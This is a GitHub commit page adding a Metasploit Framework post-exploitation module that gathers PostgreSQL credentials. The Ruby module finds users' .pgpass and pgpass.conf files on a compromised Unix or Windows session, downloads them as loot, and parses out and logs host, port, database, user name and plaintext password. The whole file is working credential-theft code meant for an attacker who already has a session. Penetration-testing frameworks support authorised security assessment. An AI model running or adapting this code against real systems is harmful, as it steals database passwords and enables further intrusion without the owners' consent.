Skip to content

Commit 42b285c

Browse files
committed
Merge branch '403labs-post-pgpass_creds'
2 parents 4615e71 + 1a162d7 commit 42b285c

File tree

1 file changed

+129
-0
lines changed

1 file changed

+129
-0
lines changed
Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/post/file'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/unix'
12+
require 'msf/core/post/windows/user_profiles'
13+
14+
class Metasploit3 < Msf::Post
15+
16+
include Msf::Post::File
17+
include Msf::Post::Common
18+
include Msf::Post::Unix
19+
include Msf::Post::Windows::UserProfiles
20+
21+
def initialize(info={})
22+
super( update_info(info,
23+
'Name' => 'Multi Gather pgpass Credentials',
24+
'Description' => %q{
25+
This module will collect the contents of user's .pgpass or pgpass.conf and
26+
parse them for credentials.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
30+
'Platform' => %w[linux bsd unix osx win],
31+
'SessionTypes' => %w[meterpreter shell]
32+
))
33+
end
34+
35+
def run
36+
print_status("Finding pgpass creds")
37+
38+
files = []
39+
case session.platform
40+
when /unix|linux|bsd|osx/
41+
files = enum_user_directories.map {|d| d + "/.pgpass"}.select { |f| file?(f) }
42+
when /win/
43+
if session.type != "meterpreter"
44+
print_error("Only meterpreter sessions are supported on windows hosts")
45+
return
46+
end
47+
48+
grab_user_profiles.select do |user|
49+
f = "#{user['AppData']}\\postgresql\\pgpass.conf"
50+
if user['AppData'] && file?(f)
51+
files << f
52+
end
53+
end
54+
else
55+
print_error("Unsupported platform #{session.platform}")
56+
return
57+
end
58+
59+
if files.nil? || files.empty?
60+
print_error("No users found with a .pgpass or pgpass.conf file")
61+
return
62+
end
63+
64+
files.each do |f|
65+
# Store the loot
66+
print_good("Downloading #{f}")
67+
pgpass_path = store_loot("postgres.pgpass", "text/plain", session, read_file(f), "#{f}", "pgpass #{f} file")
68+
print_good "Postgres credentials file saved to #{pgpass_path}"
69+
# Store the creds
70+
parse_creds(f)
71+
end
72+
end
73+
74+
# Store the creds to
75+
def parse_creds(f)
76+
cred_table = Rex::Ui::Text::Table.new(
77+
'Header' => 'Postgres Data',
78+
'Indent' => 1,
79+
'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
80+
)
81+
82+
read_file(f).each_line do |entry|
83+
ip, port, db, user, pass = entry.chomp.split(/:/, 5)
84+
85+
# Fix for some weirdness that happens with backslashes
86+
p = ""
87+
bs = false
88+
pass.split(//).each do |c|
89+
if c == "\\"
90+
if bs == false
91+
bs = true
92+
p << c
93+
else
94+
# second backslash ignore
95+
bs = false
96+
end
97+
else
98+
if c == ":" && bs == true
99+
p = "#{p[0,p.length-1]}:"
100+
else
101+
p << c
102+
end
103+
end
104+
end
105+
106+
pass = p
107+
cred_table << [ip, port, db, user, pass]
108+
109+
cred_hash = {
110+
:host => session.session_host,
111+
:port => port,
112+
:user => user,
113+
:pass => pass,
114+
:ptype => "password",
115+
:sname => "postgres",
116+
:source_type => "Cred",
117+
:duplicate_ok => true,
118+
:active => true
119+
}
120+
121+
report_auth_info(cred_hash)
122+
end
123+
124+
if not cred_table.rows.empty?
125+
print_line
126+
print_line(cred_table.to_s)
127+
end
128+
end
129+
end

0 commit comments

Comments
 (0)